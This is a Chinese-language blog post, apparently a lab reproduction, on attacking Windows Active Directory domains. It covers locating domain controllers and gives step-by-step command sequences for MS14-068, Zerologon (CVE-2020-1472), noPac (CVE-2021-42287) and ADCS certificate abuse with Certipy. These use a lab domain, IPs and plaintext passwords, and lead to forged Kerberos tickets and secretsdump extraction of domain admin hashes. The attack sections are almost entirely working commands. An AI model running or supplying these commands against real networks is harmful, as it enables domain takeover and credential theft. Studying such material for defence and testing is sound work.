快速定位
端口特征
- 同时开放389和53端口:
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用
的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
扫描定位
- SPN扫描:
在SPN扫描结果中可以通过OU=Domain Controllers来进行域控的定位。
setspn -q */*
setspn -T fitar.com -q */*
命令查询
- net group:
net group "domain controllers" /domain
- net time:
net time /domain
- ipconfig /all:
ipconfig /all
- nslookup:
nslookup -type=all _ldap._tcp.dc._msdcs.fitar.com
- net user:
net user /domain
net group /domain
常见漏洞
MS14-068
漏洞类型:域用户提权漏洞
前提:拥有一台域内普通计算机权限,获得普通域用户及其密码/hash值,拥有用户的suid
工具链接:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
复现过程:
- 查询当前用户并查询用户权限及SUID
whoami /all
- 定位域控,发现域控ip
net "domain admins" /domain
- 使用工具伪造证书
MS14-068.exe -u fitar@fitar.com -s S-1-5-21-988819774-1061620987-193502443-2106 -d 192.168.65.137
- mimikatz导入票证书:
注:该漏洞在实战中已基本消失
CVE-2020-1472
漏洞原理:置空域控哈希
风险:置空后需还原域控哈希,否则导致域控出问题
工具链接:https://github.com/VoidSec/CVE-2020-1472
复现过程:
- 查询机器哈希,用来后面恢复和对照(实战中不存在该步骤)
python3 secretsdump.py fitar.com/administrator:1qaz@WSX@192.168.65.137 -just-dc-user "WIN-QPQ4UFAV3RJ
quot;
注:impacket套件secretsdump脚本 域/域管用户:密码@域控ip 查询参数-just-dc-user 域控的机器用户名
![]()
- 使用脚本进行哈希重置
python3 cve-2020-1472-exploit.py WIN-QPQ4UFAV3RJ 192.168.65.137 注:WIN-QPQ4UFAV3RJ为域控名称 192.168.65.137为域控ip
- 再次查看机器哈希(实战中不存在该步骤)
哈希为空密码对应哈希:
- 使用空密码哈希查看域管用户哈希
python3 secretsdump.py "fitar.com/WIN-QPQ4UFAV3RJ
quot;@192.168.65.137 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc-user "administrator"
![]()
- 使用域管哈希进行登录或其他操作
- 获取域控原始机器用户哈希
通过导出域控注册表可以获取原始哈希:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 注册表导出命令: reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
- 使用工具还原哈希
python3 reinstall_original_pw.py WIN-QPQ4UFAV3RJ 192.168.65.137 52a30bee7de944bcc0077319ab707615
CVE-2021-42287
漏洞类型:域用户提权漏洞
工具链接:https://github.com/cube0x0/noPac(机器在域内)
https://github.com/WazeHell/sam-the-admin(机器在域外)
- 探测是否存在漏洞
noPac.exe scan -domain fitar.com -user fitar -pass P@ssw0rd
- 使用工具创建一个机器账户并生成服务票据
noPac.exe -domain fitar.com -user fitar -pass P@ssw0rd /dc WIN-QPQ4UFAV3RJ /mAccount tempuser /mPassword passW0rd /service cifs /ptt
- 查看域控文件
- 创建其他服务票据进行更多操作
以ldap服务为例,可以导出所有用户哈希:
ADCS证书服务攻击
漏洞原理:通过创建机器账户并修改dNSHostName进行申请证书来提权
前提:在安装了 Active Directory 证书服务 (ADCS) 服务器角色的默认 Active Directory 环境中
工具链接:https://github.com/ly4k/Certipy
- 定位证书服务器
- 方法一
# 该探测命令会弹窗且需确认后回显
certutil -config - -ping
- 方法二
# 该方法不弹窗
certutil -dump -v
成功获取CA Name和DNS Name:
CA Name:fitar-WIN-QPQ4UFAV3RJ-CA
DNS Name:WIN-QPQ4UFAV3RJ.fitar.com
- 添加机器账户,并将该机器账户dnsHostName指向DC[MAQ默认为10]
certipy account create -u fitar@fitar.com -p P@ssw0rd -dc-ip 192.168.65.137 -user machine -pass machine@123 -dns 'WIN-QPQ4UFAV3RJ.fitar.com' -debug
- 用该机器账户向ADCS请求证书
certipy req -u 'machine
#39;@fitar.com -p machine@123 -target 192.168.65.137 -ca fitar-WIN-QPQ4UFAV3RJ-CA -template Machine -debug
![]()
- 用申请的证书请求域控机器账户的TGT
certipy auth -pfx win-qpq4ufav3rj.pfx -dc-ip 192.168.65.137
- 用域控机器账户的NT hash导出域内用户哈希
python3 secretsdump.py -hashes :3e6a684e422b96ddd004ae8332ecdfec "fitar.com/WIN-QPQ4UFAV3RJ
quot;@192.168.65.137 -just-dc-user administrator
![]()
如果使用
certipy
请求TGT失败,还可以设置RBCD来攻击,参考:ADCS攻击笔记
Comments | NOTHING